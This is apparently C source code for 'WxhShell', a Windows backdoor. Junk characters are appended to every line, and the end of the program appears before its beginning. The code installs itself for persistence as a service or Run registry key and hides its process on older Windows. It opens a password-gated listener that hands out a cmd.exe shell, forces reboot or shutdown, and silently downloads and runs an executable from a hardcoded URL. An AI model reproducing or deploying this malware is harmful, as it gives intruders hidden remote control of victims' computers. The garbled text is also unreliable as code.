    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); D~,i I7ac  
    if(Boot(SHUTDOWN)) TH+TcYqO  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); CDDEWVd  
    else { MU1T="N^+  
    closesocket(wsh); ShOB"J-  
    ExitThread(0); %i&\ X[  
    } P}-S[[b73s  
    break; :Y)G-:S+  
    }  3;Tsjv}  
  // 获取shell UDb  
  case 's': { }$:ha>  
    CmdShell(wsh); EtDzmpJR>  
    closesocket(wsh); O! w&3 p  
    ExitThread(0); ?$b*)<  
    break; 7[8d-Sf24{  
  } g]._J  
  // 退出 8+~'T|  
  case 'x': { G)%r|meKGB  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); "=0JYh)%_  
    CloseIt(wsh); --TY[b  
    break; J#G\7'?{  
    } x%RE3J-  
  // 离开 jDW$}^ 6  
  case 'q': { {!"lHM%  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); $"Nqto~  
    closesocket(wsh); fJn4'Q*U  
    WSACleanup(); KPa&P:R3  
    exit(1); wr2F]1bh@  
    break; 5I5#LQv0  
        } I@q4D1g  
  } ae] hCWK  
  } J(`(PYo\i  
1i 6>~  
  // 提示信息 =7zvp,B  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5R O_)G<  
} ]$A6krfh|  
  } E D_J8 +  
)eBCO~HS  
  return; J8h H#7WMS  
} 1@Rl^ey  
=z2g}X  
// shell模块句柄 ]ov"&,J  
int CmdShell(SOCKET sock) RaB%N$.9s  
{ n^rzl6dy  
STARTUPINFO si; $p.0[A(N  
ZeroMemory(&si,sizeof(si)); Fh^Ax3P(  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; q7zHT=@$  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; P L*kjrLu7  
PROCESS_INFORMATION ProcessInfo; vrXNa8,L  
char cmdline[]="cmd"; d~O)mJ J  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); m[&pR2T  
  return 0; y-vB C3  
} ,in"8aT}~  
=bb)B(  
// 自身启动模式 Fx@@.O6  
int StartFromService(void) .4,l0Nn`W  
{ 3d>xg%?  
typedef struct S{)'1J_0  
{ q6V\n:hKV  
  DWORD ExitStatus; q]z%<`.9*  
  DWORD PebBaseAddress; 9'h4QF+Y  
  DWORD AffinityMask; yv.(Oy  
  DWORD BasePriority; ~H`(zzk  
  ULONG UniqueProcessId; P!lTK   
  ULONG InheritedFromUniqueProcessId; *7!*kq g!u  
}   PROCESS_BASIC_INFORMATION; _,E! <  
H,U qU3b3  
PROCNTQSIP NtQueryInformationProcess; sTF Ru  
`xu/|})KI  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 08;t%[R  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; i^6g1"h  
3AarRQWsn  
  HANDLE             hProcess; 1EA}[x  
  PROCESS_BASIC_INFORMATION pbi; m-}6DN  
ZbLN:g}  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); _iW-i  
  if(NULL == hInst ) return 0; O.wk*m!9  
-'::$ {  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); )Xd2qbi  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); F5/,H:K\  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); kI#yW!  
.k:Uj-&  
  if (!NtQueryInformationProcess) return 0; #6qLu  
2W=am_\0e.  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); atjrn:X  
  if(!hProcess) return 0; )\0LxsZ  
tU(vt0~b  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; "(SZ;y  
Z<6Fq*I  
  CloseHandle(hProcess); e(sV4Z~  
;PG,0R`Z;  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ~0XV[$`L  
if(hProcess==NULL) return 0; j?9fb  
4Nz]LK%@  
HMODULE hMod; \J3n[6;  
char procName[255]; K@+(6\6I  
unsigned long cbNeeded; rJ_fg$.<  
'5m`[S-IU  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 'Lv>!s 7  
"r.eN_d  
  CloseHandle(hProcess); :TN^}RML  
p+d?k"WN?  
if(strstr(procName,"services")) return 1; // 以服务启动 k6W  [//  
B3iU#   
  return 0; // 注册表启动 5K %  
} 9x9~u8j  
9='=wWW  
// 主模块 $4*k=+wS  
int StartWxhshell(LPSTR lpCmdLine) z9[BQ(9t  
{ 4?9cyv4H  
  SOCKET wsl; 4+_r0  
BOOL val=TRUE; ~V<62"G  
  int port=0; G9i?yd4n=B  
  struct sockaddr_in door; (3M7RpsL@  
E;C=V2#>[  
  if(wscfg.ws_autoins) Install(); /J0ctJ2k  
Fl&Z}&5p  
port=atoi(lpCmdLine); ^\zf8kPti  
Um\_G@  
if(port<=0) port=wscfg.ws_port; A/{0J\pA  
- d(RK_  
  WSADATA data; SRf .8j  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; G%RhNwm  
mBZg(TY  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   |Y\BI^  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 3"J85V%h]n  
  door.sin_family = AF_INET; 8]-c4zK  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); -?&s6XA%#  
  door.sin_port = htons(port); 5 NdIbC  
iH""dtO  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { BSib/)p   
closesocket(wsl); 0"to]=  
return 1; fA>FU/r  
} #'jd.'>  
R-2V C  
  if(listen(wsl,2) == INVALID_SOCKET) { > : ;*3  
closesocket(wsl); SH${\BKup  
return 1; v&i,}p^M5  
} T1Y_Jf*KJ  
  Wxhshell(wsl); l&1R`gcW  
  WSACleanup(); nofK(0TF  
51lN,VVD  
return 0; P1f@?R&t+  
H%AC *,  
} 5U+a{oA  
(77EZ07%  
// 以NT服务方式启动 ($ l t@j  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) T=n)ea A  
{ nd/.]"  
DWORD   status = 0; dNMz(~A[Y  
  DWORD   specificError = 0xfffffff; Y"&1jud4xl  
t*'U|K4L/  
  serviceStatus.dwServiceType     = SERVICE_WIN32; *(sUz?t  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; }yW*vy6`  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; b4HUgW3Ac  
  serviceStatus.dwWin32ExitCode     = 0; $-:j'e:j  
  serviceStatus.dwServiceSpecificExitCode = 0; 6$|!_94>*)  
  serviceStatus.dwCheckPoint       = 0; %+,7=Wt-  
  serviceStatus.dwWaitHint       = 0; J(JqusQd !  
^7 oXJu=  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); & 0*=F%Fd  
  if (hServiceStatusHandle==0) return; +`)4jx)r/  
)mVpJYt;  
status = GetLastError(); a9CK4Kg  
  if (status!=NO_ERROR) P<<hg3@  
{ NlnmeTLO5  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Y uo  
    serviceStatus.dwCheckPoint       = 0; atA:v3"  
    serviceStatus.dwWaitHint       = 0; V!94I2%#x  
    serviceStatus.dwWin32ExitCode     = status; <(U :v  
    serviceStatus.dwServiceSpecificExitCode = specificError; :UgCP ~Y  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2l9RU}  
    return; Z7t-{s64  
  } 0=^A{V!m  
M >BcYbXf  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; }JKK"d}U  
  serviceStatus.dwCheckPoint       = 0; BCK0fk~  
  serviceStatus.dwWaitHint       = 0; T+y3Ph--^  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 5@xl/  
} ;%H/^b.c  
@a{1vT9b  
// 处理NT服务事件,比如:启动、停止 N$i|[>`j  
VOID WINAPI NTServiceHandler(DWORD fdwControl) *j0kb"#  
{ LYv$U;*+  
switch(fdwControl) hD5G\TR.  
{ mSu1/?PS  
case SERVICE_CONTROL_STOP: *&VqAc%qD  
  serviceStatus.dwWin32ExitCode = 0; Jm l4EW7  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; (\=iKE4#  
  serviceStatus.dwCheckPoint   = 0; -:|1>og  
  serviceStatus.dwWaitHint     = 0; 2 Xt$KF,?  
  { z` :uvEX0  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); !VJ5(b  
  } ATb[/=hP<R  
  return; e viv,  
case SERVICE_CONTROL_PAUSE: .jfkOt?2  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; _ IqUp Y  
  break; B.-1wZl  
case SERVICE_CONTROL_CONTINUE: i!!1^DMrw  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Nd"4*l;  
  break; 85Hb~|0  
case SERVICE_CONTROL_INTERROGATE: )+nY-DB(  
  break; x*" 0dYH  
}; G/*0*&fW  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); P ;#}@/E  
} Uu9*nH_  
&Jr~ )o   
// 标准应用程序主函数 `2M`;$~ 5  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) )OAd[u<  
{ M@n9i@UsO  
9ntXLWK7e  
// 获取操作系统版本 3 oG5E"G  
OsIsNt=GetOsVer(); -R[ *S "  
GetModuleFileName(NULL,ExeFile,MAX_PATH); uD2v6x236  
Ris5) *7  
  // 从命令行安装 g`}+K U  
  if(strpbrk(lpCmdLine,"iI")) Install(); '01ifA^  
,KMt9 <  
  // 下载执行文件 G:]w UC\  
if(wscfg.ws_downexe) { MU; L7^  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) P1Z+XRWOM  
  WinExec(wscfg.ws_filenam,SW_HIDE); L(yR"A{FsE  
} UoLvc~n7  
O<1qU M  
if(!OsIsNt) { V _&>0P{q  
// 如果时win9x,隐藏进程并且设置为注册表启动 @GB~rfB[  
HideProc(); XCGJ~  
StartWxhshell(lpCmdLine); [a&|c%h  
} Lwg@*:`d  
else 0koC;(<n  
  if(StartFromService()) u H}cvshv  
  // 以服务方式启动 o0nKgq'w|x  
  StartServiceCtrlDispatcher(DispatchTable); J8T?=%?=  
else _dT,%q  
  // 普通方式启动 W+&w'~M  
  StartWxhshell(lpCmdLine); k|^e=I   
m{/?6h 1  
return 0; 5 ,0fL  
}  vj+x(  
1Fado$# 7  
n6PXPc  
zF6]2Y?k%  
=========================================== R(?g+:eCpM  
iY /N%T;  
tntQO!pM  
q&h&GZ  
=+T$1  
wz-#kH5?  
" HbRDa  
5AWIk,[  
#include <stdio.h> vpoeK'bi,  
#include <string.h> c&1:H1#  
#include <windows.h> z(AhO  
#include <winsock2.h> &ggS!y'n  
#include <winsvc.h> *LTFDC  
#include <urlmon.h> &uh|! lD  
p*T`fOL  
#pragma comment (lib, "Ws2_32.lib") <5s51b <  
#pragma comment (lib, "urlmon.lib") u;fD4CA  
*Txt`z[|  
#define MAX_USER   100 // 最大客户端连接数 9Ytf7NpR  
#define BUF_SOCK   200 // sock buffer !^dvtv`K  
#define KEY_BUFF   255 // 输入 buffer H5f>Q0jq  
+Mb;;hb  
#define REBOOT     0   // 重启 ohFUy}y  
#define SHUTDOWN   1   // 关机 - I$qe Xy  
6gLk?^.  
#define DEF_PORT   5000 // 监听端口 t,mD{ENm&  
(RP"VEVR  
#define REG_LEN     16   // 注册表键长度 %<|w:z$vp  
#define SVC_LEN     80   // NT服务名长度 Jl-Lz03YG  
w&eX)!  
// 从dll定义API vjy59m  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); kxJ! #%w  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); d]JiJgfa%  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); %1uY  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); hrpql_9.  
#S57SD  
// wxhshell配置信息 =Fq"lq %  
struct WSCFG { qRXb 9c  
  int ws_port;         // 监听端口 H'fmQf  
  char ws_passstr[REG_LEN]; // 口令 Le&SN7I  
  int ws_autoins;       // 安装标记, 1=yes 0=no r sf +dC  
  char ws_regname[REG_LEN]; // 注册表键名 ]V,wIy C  
  char ws_svcname[REG_LEN]; // 服务名 Sga/i?!  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 nATEv2:G  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 }uJH!@j  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 !ejLqb  
int ws_downexe;       // 下载执行标记, 1=yes 0=no - J9K  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 'N?,UtG R  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 >tfy\PY:  
%!5[3b'h  
}; i1qhe?5  
1}A1P&2>  
// default Wxhshell configuration Bn83W4M  
struct WSCFG wscfg={DEF_PORT, TA=VfA B  
    "xuhuanlingzhe", ;VY0DAp{  
    1, n%o"n?e  
    "Wxhshell", eIEr\X4\~~  
    "Wxhshell", F;Q8^C0e*c  
            "WxhShell Service", tta\.ic  
    "Wrsky Windows CmdShell Service", O1+2Z\F  
    "Please Input Your Password: ", c#?JW:^|Df  
  1, j'#Y$d1.  
  "http://www.wrsky.com/wxhshell.exe", LTGKs^i4  
  "Wxhshell.exe" K5O8G  
    }; |Co ?uv i  
4ZY0!'be-R  
// 消息定义模块 ,qF;#nB-  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; g5gq {KlU  
char *msg_ws_prompt="\n\r? for help\n\r#>"; iXp*G52  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; yQA6w%  
char *msg_ws_ext="\n\rExit."; |/u&%w?W  
char *msg_ws_end="\n\rQuit."; Byx8`Cx1  
char *msg_ws_boot="\n\rReboot..."; G j6(ycaS  
char *msg_ws_poff="\n\rShutdown..."; lkNaSz[  
char *msg_ws_down="\n\rSave to "; mM| 313  
3snr-)   
char *msg_ws_err="\n\rErr!"; %?gh;? GD  
char *msg_ws_ok="\n\rOK!"; *Uvh;d{  
H 1`}3}"  
char ExeFile[MAX_PATH]; /&g5f4[|p  
int nUser = 0; *~~&*&+  
HANDLE handles[MAX_USER]; 2R:I23[#B  
int OsIsNt; > YHwWf-  
O s*B%,}  
SERVICE_STATUS       serviceStatus; h rL_. 4  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 0_d,sC?V  
gOkq>i_  
// 函数声明 jmgU'w-s  
int Install(void); NwH`t#zd  
int Uninstall(void); s8,{8k  
int DownloadFile(char *sURL, SOCKET wsh); YGRv``(  
int Boot(int flag); ][b_l(r$?  
void HideProc(void); !a"RHg:HO  
int GetOsVer(void); 0^l|W|.Z  
int Wxhshell(SOCKET wsl); L*TPLS[lh  
void TalkWithClient(void *cs); xz1jRI$  
int CmdShell(SOCKET sock); ][ri A  
int StartFromService(void); zKycd*X  
int StartWxhshell(LPSTR lpCmdLine); 's.%rre%  
UZ8 vZ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 8!a6)Zeux  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Q;m:o8Q5  
.VFa,&5;3  
// 数据结构和表定义 9>y6zFTV  
SERVICE_TABLE_ENTRY DispatchTable[] = ?&Zfb  
{ }co v"o  
{wscfg.ws_svcname, NTServiceMain}, }}AooziH9  
{NULL, NULL} aJ[K'5|  
};  3z^l  
YzTmXwuA5  
// 自我安装 F`W8\u'db  
int Install(void) 739J] M  
{ E;[ANy4L  
  char svExeFile[MAX_PATH]; V2< 4~J2:9  
  HKEY key; Y7QIFY's~  
  strcpy(svExeFile,ExeFile); O>Y Xvu  
dgb#PxOMH  
// 如果是win9x系统,修改注册表设为自启动 Ho3$T  
if(!OsIsNt) { 'Xl[ y  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,L iX  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); de.!~%D  
  RegCloseKey(key); gv7(-I  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { k)VoDxMKK  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); k5]M~"  
  RegCloseKey(key); J&%d(EJM  
  return 0; U%2[,c_  
    } _wa1R+`_  
  } FX+;azE7  
} u`Ew^-">  
else {  2=X\G~a  
?NV3]vl  
// 如果是NT以上系统,安装为系统服务 4%h@K(iN  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); qT( 3M9!  
if (schSCManager!=0) }Wxu=b  
{ <t9#~x#'b  
  SC_HANDLE schService = CreateService qla$}dnvc  
  ( 3GkVMYI  
  schSCManager, }R.<\  
  wscfg.ws_svcname, _1D'9!+   
  wscfg.ws_svcdisp, p=T,JAIt  
  SERVICE_ALL_ACCESS, Ol8ma`}Nq3  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , j5lSu~  
  SERVICE_AUTO_START, m791w8Vr  
  SERVICE_ERROR_NORMAL, 9UD~$_<\  
  svExeFile, SKx&t-  
  NULL, B>dXyo  
  NULL, CO25  
  NULL, XdKhT618G  
  NULL, fD8A+aA  
  NULL `mU'{  
  ); #!,tId  
  if (schService!=0) * A B  
  { s`2Hf&%aZJ  
  CloseServiceHandle(schService); dpHK~n j\_  
  CloseServiceHandle(schSCManager); W~ 6ii\  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); MV"aO@  
  strcat(svExeFile,wscfg.ws_svcname); lNtZd?=>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ]AlRu(  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 7r=BGoA2E  
  RegCloseKey(key); >_ji`/ d{  
  return 0; +" 4E:9P?  
    } GT|=Kx$;  
  } f_}FYeg  
  CloseServiceHandle(schSCManager); =Z ^=  
} QO;W}c:N  
} $<jI<vD+:  
@+LZSd+I  
return 1; cwK 6$Ax  
} @pueM+(L&  
b"-eQb  
// 自我卸载 p#:.,;  
int Uninstall(void) b[<Q_7~2  
{ v#EXlpS  
  HKEY key; =i jGB~  
r"s <;  
if(!OsIsNt) { P$MAURFm  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { s'yA^ VPf  
  RegDeleteValue(key,wscfg.ws_regname); $xT'cl/IH  
  RegCloseKey(key); !"\UT&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { LD]>_P83  
  RegDeleteValue(key,wscfg.ws_regname); 4u;db_gX  
  RegCloseKey(key); sWp]Zy  
  return 0; \TM%,RC3K  
  } \hSOJ,{)U  
} ~2Jvb[IM  
} p"Ki$.Y  
else { ]HoQ6R\E b  
o g.LD7&/  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Fwn4c4-%  
if (schSCManager!=0) wpw~[xd  
{ #8.%YG  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Snx_NH#tA  
  if (schService!=0) .VF4?~+M-  
  { m S[Vl6  
  if(DeleteService(schService)!=0) { _aOisN{  
  CloseServiceHandle(schService); Z{/0 P  
  CloseServiceHandle(schSCManager); ax7]>Z=%d"  
  return 0; N~H9|CX  
  } r0=Aru5n  
  CloseServiceHandle(schService); T9enyYt%  
  } "T4Z#t  
  CloseServiceHandle(schSCManager);  S5RQ  
} 3| 5Af  
} ?YR/'Vq97  
L5C4#X  
return 1; \& 6  
} B6tp,Np5,  
|1`|E- S=  
// 从指定url下载文件 o ~"?K2@T  
int DownloadFile(char *sURL, SOCKET wsh) 8E`rs)A  
{ .%>UA|[~:  
  HRESULT hr; Q8.SD p  
char seps[]= "/"; Q5'DV!0aSv  
char *token; 6AgevyVG  
char *file; BwO^F^Pr?k  
char myURL[MAX_PATH]; f`@$ saFD  
char myFILE[MAX_PATH]; ^` N+mlh  
XYD}OddO  
strcpy(myURL,sURL); 4}sfJ0HhX  
  token=strtok(myURL,seps); wkm;yCF+  
  while(token!=NULL) pQc5'*FKd  
  { o@[yF<  
    file=token; ;j]0GD,c$  
  token=strtok(NULL,seps); F$Q( 2:w  
  } F)4Y;;#  
&mj98  
GetCurrentDirectory(MAX_PATH,myFILE); {<7!=@j  
strcat(myFILE, "\\"); r (Ab+1b  
strcat(myFILE, file); ?[Xv(60]  
  send(wsh,myFILE,strlen(myFILE),0); j["b*X`8G  
send(wsh,"...",3,0); d[ql7  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); )24r^21.q  
  if(hr==S_OK) `mV&[`NZ  
return 0; +5(#~  
else B5"(NJ;  
return 1; ^]}UyrOn  
fw@n[u{~  
} [>xwwm  
2<Lnfc<^k  
// 系统电源模块 3A2X1V"  
int Boot(int flag) G" &9u2k  
{ X $LX;Lv  
  HANDLE hToken; 4[t1"s~Wg  
  TOKEN_PRIVILEGES tkp; COJny/FT|  
S0C 7'H%?#  
  if(OsIsNt) { `Y `Ujr\6  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); n2\;`9zm  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); _SM5x,Zd  
    tkp.PrivilegeCount = 1; [4'C4Zl  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 6?n AO  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); uNe5Mv|}  
if(flag==REBOOT) { D}59fWz@  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) U-(2;F)  
  return 0; o*H j E  
} VH1PC  
else { Eh\0gQ=  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) e,/b&j*4th  
  return 0; wS"[m>.{v  
} hmJ{'D1"  
  } &U:bRzD  
  else { 6tXx--Nh  
if(flag==REBOOT) { jt-Cy  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) P]A>"-k  
  return 0; -?gr3rV@  
} lNuZg9h  
else { s"b()JP  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Z_{`$nW  
  return 0; 1qXqQA  
} lquY_lrri  
} +9db1:  
FWqnlK#  
return 1; 7g1" s1~or  
} cwi HHf>  
;=piJ%k  
// win9x进程隐藏模块 Htn'(Q  
void HideProc(void) '6Dt@^-PZ  
{ N|pjGgI  
S\2QZ[u  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); txM R[o_  
  if ( hKernel != NULL ) &RQQVki3  
  { %''z~LzJ8  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); rug^_d=B  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); K 8CjZpzq  
    FreeLibrary(hKernel); `WvNN>R  
  } |r*btyOJk  
FT'_{e!M  
return; vq yR aaMf  
} S'~Zlv 3`  
:Z|lGH =  
// 获取操作系统版本 c(jF^ 0~  
int GetOsVer(void) d5$2*h{^v  
{ 1(6B|w5+  
  OSVERSIONINFO winfo; 9 ! [oJ3  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); vUD,%@k9  
  GetVersionEx(&winfo); #;GIvfW  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) /rp.H'hC  
  return 1; Gxk=]5<7  
  else .U|e#t  
  return 0; V {R<R2h1  
} g _fvbVX  
Bs2.$~   
// 客户端句柄模块 oK1"8k|Z  
int Wxhshell(SOCKET wsl) yGl (QLk  
{ $r%m<Uc;}O  
  SOCKET wsh; HPVW2Y0_N  
  struct sockaddr_in client; ud xLHs  
  DWORD myID; yIC.Jm D*  
#q.Q tDz  
  while(nUser<MAX_USER) gbNPD*7g9  
{ n]I_ LlbY  
  int nSize=sizeof(client); Fhw:@@=  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); j3 d=O!  
  if(wsh==INVALID_SOCKET) return 1; (5[|h  
fF !Mmm"  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); [OFg (R-  
if(handles[nUser]==0) ~@=:I  
  closesocket(wsh); }m NP[L  
else gNr/rp9A$m  
  nUser++; 5Gm,lNQAv  
  } |@pJ]  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); "-JJ6Bk  
F. X{(8  
  return 0; M##h<3I  
} \ F=w~ $)  
Di{T3~fqU  
// 关闭 socket 6b+\2-eq  
void CloseIt(SOCKET wsh) s>`$]6wPa  
{ l<  8RG@  
closesocket(wsh); %0 (,f  
nUser--; w :2@@)pr  
ExitThread(0); Sd?:+\bS;  
} Omo1p(y  
`?VtB!p@x=  
// 客户端请求句柄 :Bc)1^ I  
void TalkWithClient(void *cs) De`)`\U  
{ X~XpX7d!  
 4"72  
  SOCKET wsh=(SOCKET)cs; -E~pCN(E  
  char pwd[SVC_LEN]; ~6!{\un   
  char cmd[KEY_BUFF]; m}w~ d /  
char chr[1]; HrQBzS  
int i,j; \YO1;\W  
zR:Mg\  
  while (nUser < MAX_USER) { hEAt4z0P  
[su2kOX|X  
if(wscfg.ws_passstr) { kSGFLP1FN  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); }{;m:Iia_  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); J =o,: 3"  
  //ZeroMemory(pwd,KEY_BUFF); N'_,VB  
      i=0; lot7SXvK  
  while(i<SVC_LEN) { X8l[B{|  
{IEc{y7?gO  
  // 设置超时 NN1d?cOn  
  fd_set FdRead; l1}=>V1  
  struct timeval TimeOut; i6wLM-.)  
  FD_ZERO(&FdRead); 68 d\s 4  
  FD_SET(wsh,&FdRead); 9d{iq"*R  
  TimeOut.tv_sec=8; %RA8M- d  
  TimeOut.tv_usec=0; N@J "~9T  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); }.O,P'k  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); [eL?O;@BD  
0eq="|n^|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); O~yPe.  
  pwd=chr[0]; +=#sa m*i  
  if(chr[0]==0xd || chr[0]==0xa) { 6wH]W+A  
  pwd=0; O o9 ePw7  
  break; /CX_@%m}e=  
  } HRO :U%  
  i++; Aa t _5p  
    } =*0<.Lo':  
KK" uSC  
  // 如果是非法用户,关闭 socket nxH=Ut7{  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); )70-q yA  
} `*nVLtT Y  
WP-?C<Iw  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); N{v <z 6  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :lz@G 4 =C  
KP" lz  
while(1) { a$!|)+  
*BzqAi0  
  ZeroMemory(cmd,KEY_BUFF); d dB}mk6  
q9rY++Tv  
      // 自动支持客户端 telnet标准   c6gRXp'ID  
  j=0; 1HYrJb,d  
  while(j<KEY_BUFF) { :f (UZmV$  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;&4}hPq  
  cmd[j]=chr[0]; &~oBJar  
  if(chr[0]==0xa || chr[0]==0xd) { d`9% :2qE  
  cmd[j]=0; +{Yd\{9  
  break; 9[}L=n  
  }  m~"<k d  
  j++; cLl=?^DB  
    } K#q1/2  
_jt>%v4}4  
  // 下载文件 5X>b(`  
  if(strstr(cmd,"http://")) { V+My]9ki  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); urmx})=  
  if(DownloadFile(cmd,wsh)) EJ7}h?a]U_  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^eke,,~  
  else L+y}hb r  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &P 'cf|KI  
  } x*GGO)r  
  else { 5.!iVyN  
guJS;VC6U  
    switch(cmd[0]) { "w}}q>P+sA  
